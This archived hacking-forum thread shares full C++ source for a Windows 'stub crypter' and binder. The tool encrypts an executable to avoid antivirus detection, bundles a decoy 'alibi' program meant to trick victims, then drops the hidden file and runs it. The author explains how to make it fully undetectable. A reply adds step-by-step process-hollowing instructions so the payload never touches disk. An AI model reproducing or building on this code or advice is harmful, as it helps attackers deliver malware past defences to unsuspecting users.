This forum is in archive mode. You will not be able to post new content.

Author Topic: [C++ Source] CLI stub crypter (noobfriendly)  (Read 2709 times)

0 Members and 2 Guests are viewing this topic.

Offline x0nic

  • Peasant
  • *
  • Posts: 51
  • Cookies: 5
    • View Profile
[C++ Source] CLI stub crypter (noobfriendly)
« on: May 23, 2015, 12:02:53 AM »
Being a noob looking for stub crypter sources that I would finally be able to understand, I stumbled over this (rather imperfect, but tiny & lucid) piece of code: http://st4ck-3rr0r.blogspot.com/2010/09/ca0s-crypt-v1.html
(which has been posted on evilzone by it's author in 2010, as I found out later :D here's the thread: https://evilzone.org/c-c/%28c%29-simple-crypter-stub/ )

Until then, I had literally no idea of how these mystical stub crypters may work (I didn't understand the non-code descriptions, probably because I imagined the windows PE (*.exe) file structure to be a bit more complex, i.e. not THAT easy to fuck up...). However, by looking at the above source code and "translating" every single statement one-by-one, I finally got some clue.

Long story short, I rewrote most of the mess and thereby improved it quite a bit, I guess. Now I'm happily adding this project to public domain. Maybe some non-skid out there has the same issues that I had some weeks ago and can learn something from the code- I therefore added as many comments as possible.
Here ya go:

crypter.cpp
Code: [Select]
/* ### Ca0s Crypt v2.0 ###
winPE file encrypter (+stub)
C++ code example

Supporting 3 different encryption methods:
        1. BYTE +/- CIPHER* - addition(encrypt) and substraction(decrypt)
        2. BYTE  ^ CIPHER* - XOR (works either way)
3. BYTE +/- | ^ CIPHER* - combination of the above
*: a specific cipher byte defined by the user

# Scantime encryption only - runtime is NOT obfuscated!
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Version 1.0 by ca0s:  st4ck-3rr0r.blogspot.com/2010/09/ca0s-crypt-v1.html

> Revised by x0nic/xnc # Changelog:
- added third encryption method (ADD/SUB + XOR)
- implemented a simple file binding feature ("alibi file")
- made hard-coding of stubsize redundant
- reduced functionality to PE encryption with stub
- generic code overhaul and debug
- C++ conversion
- improved crypter CLI


For educational purposes only. This code is not supposed to actually obfuscate any
malware, but may instead show the most basic concepts of stub crypting.
The authors cannot be held responsible for any illegal and/or harmful actions which
this source code may be (mis)used for. -Provided "as is", no rights reserved.-
____________________________________________________________________________*/

// *** if the code looks retarded, try tab size 8 =P ***

#include <iostream>
#include <string>
#include <fstream>
using namespace std;


const char h3x[32] = { '0',0x00,'1',0x01,'2',0x02,'3',0x03,'4',0x04,'5',0x05,'6',0x06,'7',0x07,
'8',0x08,'9',0x09,'A',0x0A,'B',0x0B,'C',0x0C,'D',0x0D,'E',0x0E,'F',0x0F };


void usage()
{
cout << '\n'
<< ">> USAGE <<\n\n"
<< "Syntax:\t\t" << "ca0s_crypt [-e INFILE] [-a INFILE2] [-o OUTFILE] [OPTIONS]\n\n"

<< "\n>>REQUIRED\n"
<< "-e FILE1\t" << "Select an MS windows executable for encryption\n"
<< "-a FILE2\t" << "The 'Alibi' program (unsuspicious EXE to trick victims)\n"
<< "\t\t" << "  -> This program will NOT be encrypted!\n"
<< "-o FILE0\t" << "Choose name/path for output file\n\n"

<< "\n>>OPTIONAL\n"
<< "-m 1/2\t\t" << "Select the encryption method: (default 0)\n"
<< "\t\t" << "  0: ADD/SUB  1: XOR  2: ADD/SUB + XOR\n"
<< "-c 00-FF\t" << "Change the cipher byte (hexadecimal value)\n"
<< "-s STUB\t\t" << "Use a specific stub file (default '.\\stub.exe')\n"
<< endl;
}

int main (int argc, char *argv[])
{

streamoff inputSize,
alibiSize,
stubSize;

string inFile_Path,
alibi_Path,
outFile_Path,
ciphStr = "6A",
stub_Path = "stub.exe";

char cryptMethod = 0,
ciphByte = 0x6A,
errMsg[13] = "\n\n>> ERROR: ",
*aliSzBuf = new char[4],
*stubSzBuf = new char[4],
*buffer = new char[1];

bool validInput = true;



/* READ CMD LINE INPUT */
if(argc<7 || argc%2==0)
{ usage(); return 0; }
else
cout << '\n' //welcome!
<< "*********************************\n"
<< "* * * *  Ca0s Crypt v2.0  * * * *\n"
<< "* * PE file encrypter (+stub) * *\n"
<< "*********************************\n"
<< "C++ code example | by c40s // xnc\n"
<< endl;


for(int8_t i = 1; i < argc; i+=2)
{
switch(argv[i][1])
{ case 'e': inFile_Path = argv[i+1]; break;
case 'a': alibi_Path = argv[i+1]; break;
case 'o': outFile_Path = argv[i+1]; break;
case 's': stub_Path = argv[i+1]; break;
case 'm': if(!(cryptMethod = atoi(argv[i+1])))
validInput = false; break;
case 'c':  /* converts valid arg.chars to hex (4 bit each) - credits to ca0s! */
if(strlen(argv[i+1]) == 2)
{
ciphByte = 0x00;
int8_t c = -1;

while(++c < 2 && validInput == true)
{
ciphStr[c] = toupper(argv[i+1][c]);
validInput = false;

for(uint8_t pos = 0; pos < 31; pos += 2)
if(ciphStr[c] == h3x[pos])
{ if(c == 0 && ciphStr[c] != '0')
ciphByte += h3x[pos+1] * 16; //hex: 0x[1st][2nd], so FIRST input char must "move to the left"
else ciphByte += h3x[pos+1];

validInput = true;
break;
}
}
}
else validInput = false; break;

default: validInput = false; break;
}

if(!validInput) {
cerr << errMsg << "Wrong command line argument '"
<< argv[i] << " " << argv[i+1] << "'!" << endl;
return 0;
}
}



/* IFSTREAM START & CLI STUFF */

char border[50] = "#+ + + + + + + + + + + + + + + + + + + + + + + +\n", //for t3h beauty
ifstr[24] = "Failed to access file '",
empty[17] = " file is empty!\n";


// INPUT FILE TO ENCRYPT
ifstream inputStream(inFile_Path, ios::binary | ios::ate);
if(!inputStream.is_open()) {
cout << errMsg << ifstr << inFile_Path << "'!\n" << endl;
return 0;
}
else { cout << border << "# Input file:\t" << inFile_Path;

inputSize = inputStream.tellg();
if(inputSize == 0)
{
cout << errMsg << "Input" << empty << endl;
return 0;
}
else cout << " ["<<inputSize<<" bytes]\n";

inputStream.seekg(0); //reset stream cursor to ios::beg
}


// ALIBI.EXE
ifstream alibiStream(alibi_Path, ios::binary | ios::ate);
if(!alibiStream.is_open()) {
cout << errMsg << ifstr << alibi_Path << "'!\n" << endl;
return 0;
}
else { cout << "# Alibi file: \t" << alibi_Path;

alibiSize = alibiStream.tellg();
if(inputSize == 0)
{
cout << errMsg << "Alibi" << empty << endl;
return 0;
}
else cout << " ["<<alibiSize<<" bytes]\n";

memcpy(aliSzBuf, &alibiSize, 4); //note size
alibiStream.seekg(0);
}


        // CIPHER RELATED
cout << "# Cipher Byte: \t0x" << ciphStr;
if(ciphStr == "6A") cout << " (default)";
cout << "\n";

cout << "# Crypt Mode:\t";
switch(cryptMethod) {
case 1: { cout << "XOR\n"; cryptMethod = 0x01; } break;
case 2: { cout << "ADD/SUB + XOR\n"; cryptMethod = 0x02; } break;
default:{ cout << "ADD/SUB (default)\n";cryptMethod = 0x00; } break; //on 0 or invalid input
}


// STUB FILE
ifstream stubStream(stub_Path, ios::binary | ios::ate);
if(!stubStream.is_open()) {
cout << errMsg << ifstr << stub_Path << "'!\n" << endl;
return 0;
}
else {  cout << "# Stub file:\t" << stub_Path;

stubSize = stubStream.tellg();
if(inputSize == 0)
{
cout << errMsg << "Stub" << empty << endl;
return 0;
}
else cout << " ["<<stubSize<<" bytes]\n";

memcpy(stubSzBuf, &stubSize, 4); //note size
stubStream.seekg(0);
}


// OUTPUT FILE
ofstream cryptFile(outFile_Path, ios::binary);
if(!cryptFile.is_open()) {
cout << errMsg << "Failed to write output file '" << outFile_Path << "'!" << endl;
return 0;
}
else { cout << "#\n" << "# Output file:\t" << outFile_Path <<
" ["<< (stubSize + inputSize + alibiSize + 10) <<" bytes]\n" << //10 bytes for notes
border << endl;
}



/* OFSTREAM START */

bool iosError = false; //checks fstream integrity

//1. put stub "on top" of output file (= entry point on execution)
while(stubStream.read(buffer, 1))  {
if(stubStream.good() && cryptFile.good()) cryptFile.write(buffer, 1);
else { iosError = true; break; }
}
stubStream.close();

//2. store two "notes" right behind (stub will need them for decryption)
cryptFile.write(&cryptMethod, 1);
cryptFile.write(&ciphByte, 1);

//3. append the alibi binary
while(alibiStream.read(buffer, 1))  {
if(alibiStream.good() && cryptFile.good()) cryptFile.write(buffer, 1);
else { iosError = true; break; }
}
alibiStream.close();


/* ENCRYPTION */ //4. encrypt & append the main input file
switch(cryptMethod)
{
case 1: while(inputStream.read(buffer, 1)) //XOR
                                if(inputStream.good() && cryptFile.good())
{
*buffer ^= ciphByte;
cryptFile.write(buffer, 1);
}
else { iosError = true; break; } break;

case 2: while(inputStream.read(buffer, 1)) //ADD+XOR

if(inputStream.good() && cryptFile.good())
{
*buffer += ciphByte;
*buffer ^= ciphByte;
cryptFile.write(buffer, 1);
}
else { iosError = true; break; } break;

default: while(inputStream.read(buffer, 1)) //ADD

if(inputStream.good() && cryptFile.good())
{
*buffer += ciphByte;
cryptFile.write(buffer, 1);
}
else { iosError = true; break; } break;

}
inputStream.close();

cryptFile.write(stubSzBuf, 4); //5. add stub size
cryptFile.write(aliSzBuf, 4); //6. add alibi size (last 4 bytes of outfile)
cryptFile.close();


if(iosError == true)
cout << errMsg << "I/O filestreams are corrupted!" << endl;
else
cout << "\n>> Encryption finished! Stored resulting file as '"
<< outFile_Path << "' ...\n" << endl;

return 0;

}

// EOF

stub.cpp
Code: [Select]
/* ### Ca0s Crypt v2.0 ###
v1.0 by cha0s, revised by x0nic/xnc
(see crypter.cpp for details)

>> STUB FILE SOURCE CODE <<
for educational purposes only 
*/

#include <fstream>
#include <windows.h> // most WINAPIs
#include <ShlObj.h> // SHGetFolderPath()

using namespace std;
 

void exec(LPCTSTR);


int main()
{
HANDLE hAlibiFile;

size_t stubSize,
alibiSize,
decryptSize;

char myPath [MAX_PATH],
alibiPath [MAX_PATH],
*sizeBuf = new char[4],
*cryptMethod = new char[1],
*ciphByte = new char[1];


/* INITIALISATION */

//WINAPI: get path to THIS file (stub + alibi + encrypted = "myself")
if(GetModuleFileName(NULL, myPath, MAX_PATH) == 0)
return 0;

ifstream mySelf(myPath, ios::binary);
mySelf.seekg(-8, mySelf.end); //point stream to the last 8 byte of "myself"(where file sizes are stored)
decryptSize = size_t(mySelf.tellg()); //(needed later on)

//store both sizes in local vars
mySelf.read(sizeBuf, 4);
memcpy(&stubSize, sizeBuf, 4);
mySelf.read(sizeBuf, 4);
memcpy(&alibiSize, sizeBuf, 4);
delete[] sizeBuf;

//use achieved data to place stream cursor at the end of stub-part (which is NOT the end of "myself"!)
mySelf.seekg(stubSize);

//read the two "notes" that the crypter has put there
mySelf.read(cryptMethod, 1);
mySelf.read(ciphByte, 1);


/* EXECUCTE ALIBI PROGRAM */

//create a temporary file that will hold alibi.exe
GetTempPath(MAX_PATH, alibiPath);
strcat_s(alibiPath, MAX_PATH, "\\alibi.tmp");
hAlibiFile = CreateFile(alibiPath, GENERIC_WRITE, 0, NULL, 2, 0x100, NULL); //creates generic temp file

//alibi binaries -> buffer -> temp file -> run!
char *aliBuf = new char[alibiSize];
unsigned long writtenBytes;

mySelf.read(aliBuf, alibiSize);
WriteFile(hAlibiFile, aliBuf, alibiSize, &writtenBytes, NULL);
CloseHandle(hAlibiFile);
delete[] aliBuf;

if(writtenBytes == alibiSize)
exec(alibiPath);
else return 0;



/* DECRYPT HIDDEN FILE */

decryptSize -= (stubSize + alibiSize + 2); //= exact size of the encrypted file
char *decBuf = new char[decryptSize];

//encrypted binaries -> buffer
mySelf.read(decBuf, decryptSize);
mySelf.close();

//decrypt buffer bytes
switch(*cryptMethod)
{
case 1: for(unsigned long b=0; b<decryptSize; b++)
{
decBuf[b] ^= *ciphByte; //XOR
} break;

case 2: for(unsigned long b=0; b<decryptSize; b++)
{
decBuf[b] ^= *ciphByte; //XOR & SUB
decBuf[b] -= *ciphByte;
} break;

default:for(unsigned long b=0; b<decryptSize; b++)
{
decBuf[b] -= *ciphByte; //SUB
} break;
}


/* INJECT & EXECUTE */

char decryptPath[MAX_PATH];
HANDLE hDecryptFile;

//WINAPI: copies current appdata-path to *decryptPath (e.g. "C:\Users\USERNAME\Application Data\")
/* Note 1: If you don't need winXP support, rather use SHGetKnownFolderPath()
Note 2: _appdata is not the only path that these functions can return */
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, SHGFP_TYPE_CURRENT, decryptPath);

//create folder & define name of the output file
strcat_s(decryptPath, MAX_PATH, "\\ca0s_crypt\\");
CreateDirectory(decryptPath, NULL);
strcat_s(decryptPath, MAX_PATH, "\\malware.666");

//you may recognize the following
hDecryptFile = CreateFile(decryptPath, GENERIC_WRITE, 0, NULL, 2, 0x80, NULL);
WriteFile(hDecryptFile, decBuf, decryptSize, &writtenBytes, NULL);
CloseHandle(hDecryptFile);
delete[] decBuf;

if(writtenBytes == decryptSize)
exec(decryptPath);

return 0; //that's it
}


void exec(LPCTSTR filePath)
{// The most simple way to execute binaries on windows. I'm not going into detail here; just go and check MSDN
STARTUPINFO attrib;
PROCESS_INFORMATION proc;

ZeroMemory(&attrib, sizeof(attrib));
ZeroMemory(&proc, sizeof(proc));
attrib.cb = sizeof(attrib);

if(CreateProcess(filePath, NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &attrib, &proc))
{
CloseHandle(proc.hProcess);
CloseHandle(proc.hThread);
}
}


Please note that this is not supposed to make your shit FUD!
The "educational purposes only" part in the code isn't a joke - I assumed that it just won't be useful for anything beyond. Nevertheless, with some initiative of your own (i.e. adding/changing  about 20-30 lines of code), you might be able to use this code as a straight basis for your very own crypter, which then actually IS fud! Yeeha.
Just go for it; it's probably better to take a chance and fail than to buy overpriced backdoor crap on hackforums ;D

Ah yeah, and since this is the coding section, I won't bother you with binaries. Although I could only test on a 32bit winXP virtual machine, it should compile and work flawlessly. If it doesn't, let me know.

Any feedback is appreciated.


Cheers,
xnc

EDIT: This is the first forum I come through that formats my code in the way I intended xD strangely, "code=C" messes it up again, so no fancy syntax colors for you today :(
« Last Edit: May 23, 2015, 12:18:38 AM by x0nic »

Offline Deque

  • P.I.N.N.
  • Global Moderator
  • Overlord
  • *
  • Posts: 1203
  • Cookies: 518
  • Programmer, Malware Analyst
    • View Profile
Re: [C++ Source] CLI stub crypter (noobfriendly)
« Reply #1 on: September 13, 2015, 10:18:21 PM »
Thanks for the share.

Just to clarify for everyone: You wrote/modified a crypter/binder that appends two executables in an encrypted form to the overlay of the stub. The stub decrypts the overlay, writes both executables as temporary files to disk and executes them. Correct so far?

Quote
I imagined the windows PE (*.exe) file structure to be a bit more complex, i.e. not THAT easy to fuck up...).

The PE format is one of the most complex formats that I know off. So I am not sure what you mean if you say it is easy to f*ck up and therefore not complex. I think it is the opposite. You can f*ck it up so easily because it is complex and you will make mistakes easily while trying to modify a PE.
However, with your crypter you did not make any use of the format as you just wrote the crypted file into overlay, which is not part of the PE format.

Btw, I did not look into the other thread to see what was added or modified by you. So the following comments are not necessarily a response to you, but rather everyone who wants to learn from the code.

Quote
# Scantime encryption only - runtime is NOT obfuscated!

I know what you mean, but nothing is obfuscated or protected at runtime. The code is plain visible in memory while being executed. It must be, otherwise it could not be executed. The only thing that comes close is a protection mechanism that only deobfuscates small parts of the code at a time during execution. But even then the small part is still plain.

These "scantime protected" files are actually nothing more than file droppers created by a builder. Or if you want terms that are not associated with malware, then they are wrapped files. In your case the program that wraps the files is a bundler, because it will turn two executables into one executable.

These terms scantime and runtime crypter are misnomers and I still wonder why everyone just swallows them without complaining.

Quote
/* INJECT & EXECUTE */

There is no injection involved, is it?
« Last Edit: September 13, 2015, 10:28:34 PM by Deque »

Offline Trevor

  • Serf
  • *
  • Posts: 39
  • Cookies: 18
  • Coder, Reverser
    • View Profile
Re: [C++ Source] CLI stub crypter (noobfriendly)
« Reply #2 on: September 29, 2015, 07:34:50 PM »
Decent code.

This is similar to a sfx extractor, which extracts its payload to the temp directory and executes it right there.
The stub would be pretty easily detected by signature scanning. There are a lot of hard coded constants alibi.tmp, ca0s_crypt, malware.666. The stub needs to be polymorphic.

Executing files from temp is often a tell-tale sign of malware. Also group policies may prevent running from temp.

Executing files via CreateProcess is also not a good way. All anti-malware solutions hook this api, both in user-mode and kernel mode.

You can implement sort of process hollowing technique. Instead of executing the malware directly, you would CreateProcess a known trusted file, such as the session manager subsystem (smss.exe).
The new process needs to be created with the CREATE_SUSPENDED flag.

Next you can manually unmap the existing code using ZwUnmapViewOfSection, Later you would allocate memory using VirtualAllocEx, write your decrypted malware via WriteProcessMemory, change the EIP via SetThreadContext, and finally resume the process.

The advantage of this technique is that the decrypted malware never touches the disk.

Disclaimer: I do not support writing malware for malicious purposes, and as such I never give advice for these. However, I'm giving it here, just for the sake of sharing of knowledge.
« Last Edit: September 29, 2015, 07:42:49 PM by Trevor »

 



Want to be here? Contact Ande, Factionwars or Kulverstukas on the forum or at IRC.